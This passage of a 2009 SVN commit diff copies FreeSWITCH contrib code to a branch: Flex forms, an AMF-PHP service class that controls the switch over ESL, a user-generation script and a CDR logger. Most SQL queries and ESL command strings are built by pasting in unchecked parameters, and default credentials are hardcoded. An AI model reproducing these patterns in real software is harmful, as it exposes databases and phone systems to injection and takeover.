+            <mx:TextInput id="call_url"  width="100%"/>
+        </mx:FormItem>
+        <mx:FormItem label="Extension" width="100%">
+            <mx:TextInput id="exten" width="100%"/>
+        </mx:FormItem>
+        <mx:FormItem label="DialPlan" width="100%">
+            <mx:TextInput id="dialplan" width="100%" text="XML"/>
+        </mx:FormItem>         
+        <mx:FormItem label="Context" width="100%">
+            <mx:TextInput id="context" width="100%" text="default"/>
+        </mx:FormItem>
+        <mx:FormItem label="CallerID Name" width="100%">
+            <mx:TextInput id="cid_name" width="100%" text="FS_AMF_PHP"/>
+        </mx:FormItem> 
+		<mx:FormItem label="CallerID Number" width="100%">
+            <mx:TextInput id="cid_number" width="100%" text="default"/>
+        </mx:FormItem>
+		<mx:FormItem label="Timeout" width="100%">
+            <mx:TextInput id="timeout" width="100%" text="30"/>
+        </mx:FormItem>
+    </mx:Form>
+    <mx:HBox horizontalAlign="center" width="314"> 
+        <mx:Button click="doCall();" label="Place Call"/> 
+        <mx:Button click="PopUpManager.removePopUp(this);" label="Cancel"/> 
+    </mx:HBox> 
+</mx:TitleWindow>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/statusForm.mxml

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/statusForm.mxml (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src/statusForm.mxml) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/statusForm.mxml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/src/statusForm.mxml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,30 @@
+<?xml version="1.0"?>
+<mx:TitleWindow xmlns:mx="http://www.adobe.com/2006/mxml" creationComplete="doInit();" height="206" title="Switch Status" width="438">
+    <mx:Script>
+        <![CDATA[
+            import mx.managers.PopUpManager;
+            import mx.controls.Alert;
+            import mx.rpc.events.ResultEvent;
+            
+            private function doInit():void {
+                PopUpManager.centerPopUp(this);
+                parentApplication.freeswitch.getStatus();
+            }
+            
+            private function doCall():void {
+				// parentApplication.freeswitch.originate(call_url.text, exten.text, dialplan.text, context.text, cid_name.text, cid_number.text, timeout.text);
+				PopUpManager.removePopUp(this);
+            }
+        ]]>
+    </mx:Script>
+  
+    <mx:Form width="100%">
+        <mx:FormItem label="Status" width="100%">
+            <mx:TextArea id="call_url"  width="100%" height="90" text="{parentApplication.freeswitch.getStatus.lastResult}" />
+        </mx:FormItem>
+      
+    </mx:Form>
+    <mx:HBox horizontalAlign="center" width="100%"> 
+        <mx:Button click="PopUpManager.removePopUp(this);" label="Cancel"/> 
+    </mx:HBox> 
+</mx:TitleWindow>
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/swk/livecd (from rev 14471, freeswitch/trunk/contrib/swk/livecd)

Copied: freeswitch/branches/seven/contrib/swk/php (from rev 14471, freeswitch/trunk/contrib/swk/php)

Copied: freeswitch/branches/seven/contrib/swk/php/amfphp (from rev 14471, freeswitch/trunk/contrib/swk/php/amfphp)

Deleted: freeswitch/branches/seven/contrib/swk/php/amfphp/README

Copied: freeswitch/branches/seven/contrib/swk/php/amfphp/README (from rev 14471, freeswitch/trunk/contrib/swk/php/amfphp/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/php/amfphp/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/php/amfphp/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,14 @@
+AMF-PHP FreeSwitch Service
+
+Copy the freeswitch.php file to your AMF-PHP services directory
+
+the flex file goes in the normal spot... this is not dynamically configured so you'll have to edit a few things to get it right
+
+TODO: Dynamically detect where the AMF Feed is (ie: dont hardcode the URL)
+TODO: Make the UI better Looking
+TODO: Add some form of user management
+TODO: CDR Viewer
+TODO: Anything else I think I might want to add here
+
+Feel Free to submit patches It would be nice to figure out a good way to support as much of the API as possible via ESL and add things
+like basic Server monitoring

Deleted: freeswitch/branches/seven/contrib/swk/php/amfphp/freeswitch.php

Copied: freeswitch/branches/seven/contrib/swk/php/amfphp/freeswitch.php (from rev 14471, freeswitch/trunk/contrib/swk/php/amfphp/freeswitch.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/php/amfphp/freeswitch.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/php/amfphp/freeswitch.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,466 @@
+<?php
+
+/* 
+ * FreeSWITCH AMF-PHP ESL Client Library
+ * Copyright (C) 2009, Ken Rice <krice@tollfreegateway.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ *
+ * The Initial Developer of the Original Code is
+ * Ken Rice <krice@tollfreegateway.com>
+ * Portions created by the Initial Developer are Copyright (C)
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Ken Rice <krice@tollfreegateway.com>
+ *
+ * freeswitch.php -- Initial Class file for AMF-PHP FreeSwitch Class using ESL
+ *
+ ***************************************************************************************************
+ * 
+ * This Requires the FreeSWITCH ESL Extension to be installed properly on your system.
+ *
+ */
+
+require_once "ESL.php";
+ 
+class FreeSWITCH {
+	
+	/* Edit these variables for your installation */
+	var $esl_server = "127.0.0.1"; 	/* ESL Server */
+	var $esl_port = "8021"; 		/* ESL Port */
+	var $esl_secret = "ClueCon"; 	/* ESL Secret */
+
+	var $dbtype='mysql'; 		/* Set the Database type */
+	var $db_hostname = '192.168.1.140'; 	/* Database Server hostname */
+	var $db_port = '3306';		/* Database Server Port */
+	var $db_username = 'root'; 		/* Database Server username */
+	var $db_password = 'password'; 	/* Database Server password */
+	var $db_database = 'shipment'; 	/* DataBase Name */
+
+	private function getDbh(){
+		if ($this->dbtype == 'mysql') {
+			$pdo_flags =  array(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => true,);
+		}
+		$dbh = new PDO($this->dbtype . ":host=" . $this->db_hostname . ";port=" . $this->db_port . ";dbname=" . $this->db_database, 
+			$this->db_username, $this->db_password, $pdo_flags);
+		return $dbh;
+	}
+
+	/*** General Whats happening Methods ***/
+
+	public function getStatus() {
+		$esl = new eslConnection($this->esl_server, $this->esl_port, $this->esl_secret);
+		$e = $esl->sendRecv("api status");
+		$body = $e->getBody();
+		return $body;
+	}
+
+	public function getChannels() {
+		$esl = new eslConnection($this->esl_server, $this->esl_port, $this->esl_secret);
+		$e = $esl->sendRecv("api show channels");
+		$body = $e->getBody();
+		$temp = explode  ("\n", $body);
+		$total_count = sizeof($temp);
+		$i = -1;
+		foreach($temp as $row){
+			if ($i == -1) { 
+				$header = explode(",", $row);
+			} else {
+				$temp_row = explode(",", $row);
+				$x=0;
+				foreach($temp_row as $col){
+					$data[$i][$header[$x]] = $col;
+					$x++;
+				}
+			}
+			$i++;
+			if ($i == $total_count - 3){
+				break;
+			}
+		}
+		if ($none != 1) {
+			return $data;
+		} else { 
+			return "OK: No Calls";
+		}
+	}
+	
+	public function getCalls() {
+		$esl = new eslConnection($this->esl_server, $this->esl_port, $this->esl_secret);
+		$e = $esl->sendRecv("api show calls");
+		$body = $e->getBody();
+		$temp = explode  ("\n", $body);
+		$total_count = sizeof($temp);
+		$i = -1;
+		foreach($temp as $row){
+			if ($i == -1) { 
+				$header = explode(",", $row);
+			} else {
+				$temp_row = explode(",", $row);
+				$x=0;
+				foreach($temp_row as $col){
+					$data[$i][$header[$x]] = $col;
+					$x++;
+				}
+			}
+			$i++;
+			if ($i == $total_count - 3){
+				break;
+			}
+		}
+		return $data;
+	}
+
+	/*** General API Command Methods ***/
+
+	public function originate($call_url, $exten, $dialplan = "XML", $context= "default", $cid_name = "amf_php", $cid_number = "888", $timeout="30"){
+		$dialstring = "api originate $call_url $exten $dialplan $context $cid_name $cid_number $timeout";
+		$esl = new eslConnection($this->esl_server, $this->esl_port, $this->esl_secret);
+		$e = $esl->sendRecv($dialstring);
+		$body = $e->getBody();
+		return $body;
+	}
+
+	public function killUuid($uuid) {
+		$esl = new eslConnection($this->esl_server, $this->esl_port, $this->esl_secret);
+		$e = $esl->sendRecv("api uuid_kill $uuid");
+		$body = $e->getBody();
+		return $body;
+	}
+	
+	/*** Conference Methods ***/
+	
+	public function kickConferenceUser($conference, $member) {
+		$esl = new eslConnection($this->esl_server, $this->esl_port, $this->esl_secret);
+		$e = $esl->sendRecv("api conference $conference kick $member");
+		$body = $e->getBody();
+		return $body;
+	}
+
+	public function getConferenceList() {
+		$esl = new eslConnection($this->esl_server, $this->esl_port, $this->esl_secret);
+		$e = $esl->sendRecv("api conference list");
+		$body = $e->getBody();
+		$data=explode("\n", $body);
+		$y=0;
+		foreach($data as $row){
+        		if(substr($row, 0, 10)=="Conference"){
+                		$temp_data = explode(" ", $row);
+                		$conf_data[$y] = $temp_data[1];
+                		$y++;
+        		}
+		}
+		return $conf_data;
+	}
+
+	public function getConferenceUsers($conference_name) {
+		$esl = new eslConnection($this->esl_server, $this->esl_port, $this->esl_secret);
+		$e = $esl->sendRecv("api conference $conference_name list");
+		$body = $e->getBody();
+		$data=explode("\n", $body);
+		$y=0;
+		foreach($data as $row){
+        		if ($row!="" && substr($row, 0, 10) != "Conference"){
+                		$temp_data = explode(";", $row);
+				$conf_data[$y]['id'] = $temp_data[0];
+				$conf_data[$y]['channel'] = $temp_data[1];
+				$conf_data[$y]['uuid'] = $temp_data[2];
+				$conf_data[$y]['caller_name'] = $temp_data[3];
+				$conf_data[$y]['caller_number'] = $temp_data[4];
+				$conf_data[$y]['flags'] = $temp_data[5];
+				$conf_data[$y]['gain'] = $temp_data[6];
+				$conf_data[$y]['volume'] = $temp_data[7];
+				$conf_data[$y]['noise'] = $temp_data[8];
+				$conf_data[$y]['hear'] = 0;
+				$conf_data[$y]['speak'] = 0;
+				$conf_data[$y]['talk'] = 0;
+				$conf_data[$y]['video'] = 0;
+				$conf_data[$y]['floor'] = 0;
+				$temp_flags = explode("|", $temp_data[5]);
+				foreach ($temp_flags as $flag){
+					if ($flag == "hear") $conf_data[$y]['hear'] = 1;
+					if ($flag == "speak") $conf_data[$y]['speak'] = 1;
+					if ($flag == "talk") $conf_data[$y]['talk'] = 1;
+					if ($flag == "video") $conf_data[$y]['video'] = 1;
+					if ($flag == "floor") $conf_data[$y]['floor'] = 1;
+				}
+                		$y++;
+        		}
+		}
+		return $conf_data;
+	}
+
+	public function getConfPlayfiles($list_dir) {
+		if($list_dir != "") {
+			$templist = glob($list_dir);
+		} else {
+			$templist = glob("/usr/local/freeswitch/sounds/en/us/callie/*/*/*");
+		}
+		$x=0;
+		foreach($templist as $file){
+			$temp_file = explode("/", $file);
+			$filelist[$x]['label'] = $temp_file[count($temp_file)-1];
+			$filelist[$x]['data'] = $file;
+			// $filelist[$x] = $file;
+			$x++;
+		}
+		return $filelist;
+	}
+
+	public function confPlayfile($conference, $file_path){
+		$playfile = "api conference $conference play " . $file_path;
+		$esl = new eslConnection($this->esl_server, $this->esl_port, $this->esl_secret);
+		$e = $esl->sendRecv($playfile);
+		$body = $e->getBody();
+		return $body;
+	}
+
+	public function confLock($conference){
+		$playfile = "api conference $conference lock";
+		$esl = new eslConnection($this->esl_server, $this->esl_port, $this->esl_secret);
+		$e = $esl->sendRecv($playfile);
+		$body = $e->getBody();
+		return $body;
+	}
+
+	public function confUnlock($conference){
+		$playfile = "api conference $conference unlock";
+		$esl = new eslConnection($this->esl_server, $this->esl_port, $this->esl_secret);
+		$e = $esl->sendRecv($playfile);
+		$body = $e->getBody();
+		return $body;
+	}
+	
+	public function confMute($conference, $member){
+		$playfile = "api conference $conference mute $member";
+		$esl = new eslConnection($this->esl_server, $this->esl_port, $this->esl_secret);
+		$e = $esl->sendRecv($playfile);
+		$body = $e->getBody();
+		return $body;
+	}
+	
+	public function confUnmute($conference, $member){
+		$playfile = "api conference $conference unmute $member";
+		$esl = new eslConnection($this->esl_server, $this->esl_port, $this->esl_secret);
+		$e = $esl->sendRecv($playfile);
+		$body = $e->getBody();
+		return $body;
+	}
+
+	/*** Directory Methods ***/
+	
+	/* Directory Domain Methods */
+	public function getDirDomains(){
+		$dbh = $this->getDbh();
+		$query = sprintf("select * from domains");
+		$stmt = $dbh->query($query);
+		$results = $stmt->fetchAll();
+		return $results;
+	}
+
+	public function getDirDomainbyName($domain_name){
+		$query = sprintf("select * from domains where name = '%s'", $domain_name);
+		$dbh = $this->getDbh();
+		$stmt = $dbh->query($query);
+		$results = $stmt->fetchAll();
+		return $results[0];
+	}
+
+	public function getDirDomain($domains_uid){
+		$dbh = $this->getDbh();
+		$query = sprintf("select * from domain_params where domains_uid = $domains_uid");
+		$stmt = $dbh->query($query);
+		$results['params'] = $stmt->fetchAll();
+		$query = sprintf("select * from domain_variables where domains_uid = $domains_uid");
+		$stmt = $dbh->query($query);
+		$results['variables'] = $stmt->fetchAll();
+		return $results;
+	}
+	
+	public function addDirDomain($domain_name){
+		$dbh = $this->getDbh();
+		$query = sprintf('insert into domains (name) values ("%s")', $domain_name);
+		return $dbh->exec($query);
+	}
+
+	public function addDirDomainParam($domains_uid, $name, $value) {
+		$dbh = $this->getDbh();
+		$query = sprintf('insert into domain_params (domains_uid, name, value) values (%s, "%s", "%s")', $domains_uid, $name, $value);
+		return $dbh->exec($query);
+	}
+
+	public function addDirDomainVar($domains_uid, $name, $value) {
+		$dbh = $this->getDbh();
+		$query = sprintf('insert into domain_variables (domains_uid, name, value) values (%s, "%s", "%s")', $domains_uid, $name, $value);
+		return $dbh->exec($query);
+	}
+
+	public function updateDirDomainParam($param_uid, $name, $value) {
+		$dbh = $this->getDbh();
+		$query = sprintf('update domain_params set name = "%s", value = "%s" where uid=%s', $name, $value, $param_uid);
+		return $dbh->exec($query);
+	}
+
+	public function updateDirDomainVar($var_uid, $name, $value) {
+		$dbh = $this->getDbh();
+		$query = sprintf('update domain_variables set name = "%s", value = "%s" where uid=%s', $name, $value, $var_uid);
+		return $dbh->exec($query);
+	}
+
+	public function deleteDirDomainParam($param_uid) {
+		$dbh = $this->getDbh();
+		$query = sprintf('delete from domain_params where uid=%s', $param_uid);
+		return $dbh->exec($query);
+	}
+
+	public function deleteDirDomainVar($var_uid) {
+		$dbh = $this->getDbh();
+		$query = sprintf('delete from domain_variables where uid=%s', $var_uid);
+		return $dbh->exec($query);
+	}
+
+
+	/* Directory User Methods */
+	public function getDirUsersByDomainUidByUsername($domain_uid, $user_name){
+		$query = sprintf("select * from users where domains_uid = '%s' and username = '%s'", $domain_uid, $user_name);
+		$dbh = $this->getDbh();
+		$stmt = $dbh->query($query);
+		$results = $stmt->fetchAll();
+		return $results[0];
+	}
+
+	public function getDirUser($user_uid){
+		$dbh = $this->getDbh();
+		$query = sprintf("select * from user_params where users_uid = $user_uid");
+		$stmt = $dbh->query($query);
+		$results['params'] = $stmt->fetchAll();
+		$query = sprintf("select * from user_variables where users_uid = $user_uid");
+		$stmt = $dbh->query($query);
+		$results['variables'] = $stmt->fetchAll();
+		return $results;
+	}
+
+	public function getDirUsers($domains_uid){
+		$dbh = $this->getDbh();
+		$query = sprintf("select * from users where domains_uid = $domains_uid");
+		$stmt = $dbh->query($query);
+		$results = $stmt->fetchAll();
+		return $results;
+	}
+
+	public function addDirDomainUser($domains_uid, $username, $mailbox, $cidr, $enabled) {
+		$dbh = $this->getDbh();
+		$query = sprintf('insert into users (domains_uid, username, mailbox, cidr, enabled) values (%s, "%s", "%s", "%s", %s)', 
+							$domains_uid, $username, $mailbox, $cidr, $enabled);
+		return $dbh->exec($query);
+	}
+
+	public function addDirDomainUserParam($users_uid, $name, $value) {
+		$dbh = $this->getDbh();
+		$query = sprintf('insert into user_params (users_uid, name, value) values (%s, "%s", "%s")', $users_uid, $name, $value);
+		return $dbh->exec($query);
+	}
+
+	public function addDirDomainUserVar($users_uid, $name, $value) {
+		$dbh = $this->getDbh();
+		$query = sprintf('insert into user_variables (users_uid, name, value) values (%s, "%s", "%s")', $users_uid, $name, $value);
+		return $dbh->exec($query);
+	}
+
+	public function updateDirDomainUserParam($param_uid, $name, $value) {
+		$dbh = $this->getDbh();
+		$query = sprintf('update user_params set name = "%s", value = "%s" where uid=%s', $name, $value, $param_uid);
+		return $dbh->exec($query);
+	}
+
+	public function updateDirDomainUserVar($var_uid, $name, $value) {
+		$dbh = $this->getDbh();
+		$query = sprintf('update user_variables set name = "%s", value = "%s" where uid=%s', $name, $value, $var_uid);
+		return $dbh->exec($query);
+	}
+
+	public function deleteDirDomainUserParam($param_uid) {
+		$dbh = $this->getDbh();
+		$query = sprintf('delete from user_params where uid=%s', $param_uid);
+		if ($dbh->exec($query) < 1) {
+			return "FAILED " . $query;
+		} else {
+			return "SUCESS";
+		}
+	}
+
+	public function deleteDirDomainUserVar($var_uid) {
+		$dbh = $this->getDbh();
+		$query = sprintf('delete from user_variables where uid=%s', $var_uid);
+		if ($dbh->exec($query) < 1) {
+			return "FAILED " . $query;
+		} else {
+			return "SUCESS";
+		}
+	}
+
+	/* Directory Group Methods */
+	public function getDirGroups($domains_uid){
+		$dbh = $this->getDbh();
+		$query = sprintf("select * from groups where domains_uid = $domains_uid");
+		$stmt = $dbh->query($query);
+		$results = $stmt->fetchAll();
+		return $results;
+	}
+
+	public function getDirGroupsByDomianUidByUserUid($domain_uid, $user_uid){
+		$query = sprintf("select a.uid as groupUid, a.name as groupName, b.uid as usersUid from groups as a, group_members as b where a.uid = b.groups_uid and b.domains_uid = %s and b.users_uid = %s", $domain_uid, $user_uid) ;
+		$dbh = $this->getDbh();
+		$stmt = $dbh->query($query);
+		$results = $stmt->fetchAll();
+		return $results;
+	}
+
+	public function getDirGroup($groups_uid){
+		$dbh = $this->getDbh();
+		$query = sprintf("select a.uid as groupMemberUid, a.users_uid as usersUid, b.username as usersUsername from group_members as a, users as b where a.groups_uid = $groups_uid and a.users_uid = b.uid") ;
+		$stmt = $dbh->query($query);
+		$results['members'] = $stmt->fetchAll();
+		$query = sprintf("select uid as usersUid, username as usersUsername from users where uid not in (select users_uid from group_members where groups_uid = $groups_uid) and domains_uid = (select domains_uid from groups where uid = $groups_uid)");
+		$stmt = $dbh->query($query);
+		$results['nonmembers'] = $stmt->fetchAll();
+		return $results;
+	}
+
+	public function addDirGroup($domains_uid, $new_groupname){
+		$dbh = $this->getDbh();
+		$query = sprintf("insert into groups (domains_uid, name) values (%s, '%s')", $domains_uid, $new_groupname);
+		
+		if ($dbh->exec($query) > 0){
+			return "INSERTED";
+		} else { 
+			return "FAILED $query";
+		}
+	}
+
+}
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4 expandtab:
+ */
+?>

Deleted: freeswitch/branches/seven/contrib/swk/php/amfphp/gen_users.php

Copied: freeswitch/branches/seven/contrib/swk/php/amfphp/gen_users.php (from rev 14471, freeswitch/trunk/contrib/swk/php/amfphp/gen_users.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/php/amfphp/gen_users.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/php/amfphp/gen_users.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,106 @@
+<?
+/* Simple Script to generate a Domain and a group of users */
+
+if($argv[1] == "-h" || $argv[1] == "-help" || $argv[1] == "-?"){
+	printf("%s <domain_name> <start_exten> <stop_exten> <sip_pass>\n", $argv[0]);
+	printf("Example: %s domain.com 1000 1019 1234\n", $argv[0]);
+	die();
+}
+
+$domain_name = $argv[1];
+$start = $argv[2];
+$stop  = $argv[3];
+$sip_pass = $argv[4];
+
+require_once("freeswitch.php");
+
+$domains_params_insert = array(array('dial-string','{presence_id=\${dialed_user}@\${dialed_domain}}\${sofia_contact(\${dialed_user}@\${dialed_domain})}'));
+
+$domains_vars_insert = array(	array('record_stereo','true'),
+				array('default_gateway','\$\${default_provider}'),
+				array('default_areacode','\$\${default_areacode}'),
+				array('transfer_fallback_extension','operator'));
+
+$user_default_vars  = array(	array("numbering_plan", "\$\${default_country}"),
+      				array("default_areacode", "\$\${default_areacode}"),
+      				array("default_gateway", "\$\${default_provider}"));
+
+$user_params_insert = array(	array('password',$sip_pass),
+				array('vm-password','%s'));
+
+$user_vars_insert = array(	array('toll_allow','domestic,international,local'),
+				array('accountcode','%s'),
+				array('user_context','default'),
+				array('effective_caller_id_name','Extension %s'),
+				array('effective_caller_id_number','%s'),
+				array('outbound_caller_id_name','\$\${outbound_caller_name}'),
+				array('outbound_caller_id_number','\$\${outbound_caller_id}'),
+				array('callgroup','techsupport'));
+
+
+$fsc = new FreeSWITCH();
+
+if ($fsc->addDirDomain($domain_name) < 1){
+	die("add domain failed\n");
+}
+
+$db_domain = $fsc->getDirDomainbyName($domain_name);
+
+foreach($domains_params_insert as $param){
+	if ($fsc->addDirDomainParam($db_domain['uid'], $param[0], $param[1]) < 1){
+		die("Add Domain Param Failed\n");
+	}
+} 
+
+foreach($domains_vars_insert as $vars){
+	if ($fsc->addDirDomainVar($db_domain['uid'], $vars[0], $vars[1]) < 1 ){
+		die("Add Domain Var Failed\n");
+	}
+} 
+
+if ($fsc->addDirDomainUser($db_domain['uid'], "default", "", "", 1) < 1) {
+	die("add default user failed\n");
+}
+
+$db_user = $fsc->getDirUsersByDomainUidByUsername($db_domain['uid'], "default");
+
+foreach($user_default_vars as $vars){
+	if (preg_match('/%s/', $vars[1])) {
+		$temp = $vars[1];
+		$vars[1] = sprintf($temp, "default");
+	}
+	if ($fsc->addDirDomainUserVar($db_user['uid'], $vars[0], $vars[1]) < 1 ) {
+		die("Add Default User Var Failed\n");
+	}
+} 
+
+for ($i = $start; $i <= $stop; $i++) {
+
+	if ($fsc->addDirDomainUser($db_domain['uid'], $i, $i, "", 1) < 1) {
+		die("add user failed\n");
+	}
+	
+	$db_user = $fsc->getDirUsersByDomainUidByUsername($db_domain['uid'], $i);
+	
+	foreach($user_params_insert as $param){
+		if (preg_match('/%s/', $param[1])) {
+			$temp = $param[1];
+			$param[1] = sprintf($temp, $i);
+		}
+		if ($fsc->addDirDomainUserParam($db_user['uid'], $param[0], $param[1]) < 1){
+			die("Add User Param Failed\n");
+		}
+	} 
+
+	foreach($user_vars_insert as $vars){
+		if (preg_match('/%s/', $vars[1])) {
+			$temp = $vars[1];
+			$vars[1] = sprintf($temp, $i);
+		}
+		if ($fsc->addDirDomainUserVar($db_user['uid'], $vars[0], $vars[1]) < 1 ) {
+			die("Add User Var Failed\n");
+		}
+	} 
+}
+
+?>

Copied: freeswitch/branches/seven/contrib/swk/php/esl_cdr (from rev 14471, freeswitch/trunk/contrib/swk/php/esl_cdr)

Deleted: freeswitch/branches/seven/contrib/swk/php/esl_cdr/esl_cdr.mysql.sql

Copied: freeswitch/branches/seven/contrib/swk/php/esl_cdr/esl_cdr.mysql.sql (from rev 14471, freeswitch/trunk/contrib/swk/php/esl_cdr/esl_cdr.mysql.sql) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/php/esl_cdr/esl_cdr.mysql.sql	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/php/esl_cdr/esl_cdr.mysql.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,33 @@
+CREATE TABLE IF NOT EXISTS `cdr` (
+  `uuid` varchar(100) NOT NULL,
+  `acctcode` varchar(100) NOT NULL,
+  `ani` varchar(100) NOT NULL,
+  `e164_ani` varchar(100) NOT NULL,
+  `dnis` varchar(100) NOT NULL,
+  `e164_dnis` varchar(100) NOT NULL,
+  `translated_dnis` varchar(100) NOT NULL,
+  `src_host` varchar(100) NOT NULL,
+  `read_codec` varchar(100) NOT NULL,
+  `write_codec` varchar(100) NOT NULL,
+  `clid_name` varchar(100) NOT NULL,
+  `clid_number` varchar(100) NOT NULL,
+  `src_sdp` varchar(100) NOT NULL,
+  `dest_sdp` varchar(100) NOT NULL,
+  `originate_disposition` varchar(100) NOT NULL,
+  `bridge_to_uuid` varchar(100) NOT NULL,
+  `endpoint_disposition` varchar(100) NOT NULL,
+  `sip_hangup_disposition` varchar(100) NOT NULL,
+  `term_cause` varchar(100) NOT NULL,
+  `hangup_cause` varchar(100) NOT NULL,
+  `start_stamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
+  `answer_stamp` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
+  `progress_media_stamp` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
+  `end_stamp` timestamp NOT NULL DEFAULT '0000-00-00 00:00:00',
+  `duration` int(11) NOT NULL,
+  `billsec` int(11) NOT NULL,
+  `progress_mediasec` int(11) NOT NULL,
+  `billmin` varchar(100) NOT NULL,
+  `carrier_id` varchar(100) NOT NULL,
+  `cust_cost` varchar(100) NOT NULL,
+  `carrier_cost` varchar(100) NOT NULL
+)

Deleted: freeswitch/branches/seven/contrib/swk/php/esl_cdr/esl_cdr.php

Copied: freeswitch/branches/seven/contrib/swk/php/esl_cdr/esl_cdr.php (from rev 14471, freeswitch/trunk/contrib/swk/php/esl_cdr/esl_cdr.php) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/php/esl_cdr/esl_cdr.php	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/php/esl_cdr/esl_cdr.php	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,107 @@
+<?
+require_once('ESL.php');
+require_once("MDB2.php");
+
+$esl_host = '127.0.0.1';
+$esl_port = '8021';
+$esl_password = 'ClueCon';
+
+
+$dbtype='mysql'; 		/* Set the Database type */
+$db_hostname = 'localhost'; 	/* Database Server hostname */
+$db_port = '3306';		/* Database Server Port */
+$db_username = 'root'; 		/* Database Server username */
+$db_password = 'password'; 	/* Database Server password */
+$db_database = 'esl_cdr'; 	/* DataBase Name */
+if ($dbtype == 'mysql') {
+	$pdo_flags =  array(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => true,);
+}
+
+$dbh = new PDO("$dbtype:host=$db_hostname;port=$db_port;dbname=$db_database", $db_username, $db_password, $pdo_flags);
+
+$con = MDB2::factory($db_url);
+if(PEAR::isError($con)) {
+    die("Error while connecting : " . $con->getMessage());
+}
+
+/* set up the ESL Connection */
+$esl = new eslConnection($esl_host, $esl_port, $esl_password);
+$e = $esl->sendRecv("api status");
+print $e->getBody();
+$esl->events("plain", "channel_hangup");
+for(;;) {
+	while (!$esl->connected()) {
+		// if the connection is down, loop until we're able to reconnect
+		$esl = new eslConnection($esl_host, $esl_port, $esl_password);
+		$esl->events("plain", "channel_hangup");
+
+               sleep (1);
+        }
+	$e = $esl->recvEvent();
+	if ($e) {
+		$lines = explode("\n", $e->serialize());
+		foreach ($lines as $line){
+			$temp_data = explode(": ", $line);
+			
+			if ($temp_data[0]){
+				if ($temp_data[0] == 'variable_easy_acctcode'){
+					$data['acctcode'] = $temp_data[1];
+				} elseif ($temp_data[0] == 'variable_acctcode'){
+					$data['acctcode'] = $temp_data[1];
+				} elseif ($temp_data[0] == 'variable_accountcode'){
+					$data['acctcode'] = $temp_data[1];
+				} elseif ($temp_data[0] == 'variable_account_code'){
+					$data['acctcode'] = $temp_data[1];
+				} else {
+					$data[$temp_data[0]] = $temp_data[1];
+				}
+			}
+		}
+
+        	$insert = sprintf("INSERT into cdr (uuid, acctcode, ani, e164_ani, dnis, translated_dnis, e164_dnis, src_host, read_codec, write_codec, clid_name, ".
+		"clid_number, src_sdp, dest_sdp, originate_disposition, bridge_to_uuid, endpoint_disposition, sip_hangup_disposition, term_cause, ".
+		"hangup_cause, start_stamp, answer_stamp, progress_media_stamp, end_stamp, duration, billsec, progress_mediasec, billmin, ".
+		"carrier_id, cust_cost, carrier_cost)".
+		"VALUES".
+		"('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', %s, '%s', '%s',".
+		"%s, %s, %s, %s, %s, %s, %s)",
+		$data['Unique-ID'],
+		$data['acctcode'],
+		$data['Caller-Caller-ID-Number'],
+		$data['Caller-Caller-ID-Number'],
+		urldecode($data['Caller-Destination-Number']),
+		urldecode($data['Caller-Destination-Number']),
+		urldecode($data['Caller-Destination-Number']),
+		$data['Caller-Network-Addr'],
+		$data['Channel-Read-Codec-Name']."-". $data['Channel-Read-Codec-Rate'],
+		$data['Channel-Write-Codec-Name']."-". $data['Channel-Write-Codec-Rate'],
+		urlencode($data['Caller-Caller-ID-Name']),
+		$data['Caller-Caller-ID-Number'],
+		$data['variable_switch_r_sdp'],
+		$data['variable_switch_m_sdp'],
+		$data['variable_originate_disposition'],
+		$data['variable_bridge_to'],
+		$data['variable_endpoint_disposition'],
+		$data['variable_sip_hangup_disposition'],
+		$data['variable_sip_term_cause'],
+		$data['variable_hangup_cause'],
+		urldecode($data['variable_start_stamp']) . '-05',
+		isset($data['variable_answer_stamp'])?'\''. urldecode($data['variable_answer_stamp']) . '-05\'':'null',
+		urldecode($data['variable_progress_media_stamp']) . '-05',
+		urldecode($data['variable_end_stamp']) . '-05',
+		$data['variable_duration'],
+		$data['variable_billsec'],
+		$data['variable_progress_mediasec'],
+		$data['variable_billsec'],
+		"0",
+		"0",
+		"0"
+		);
+	
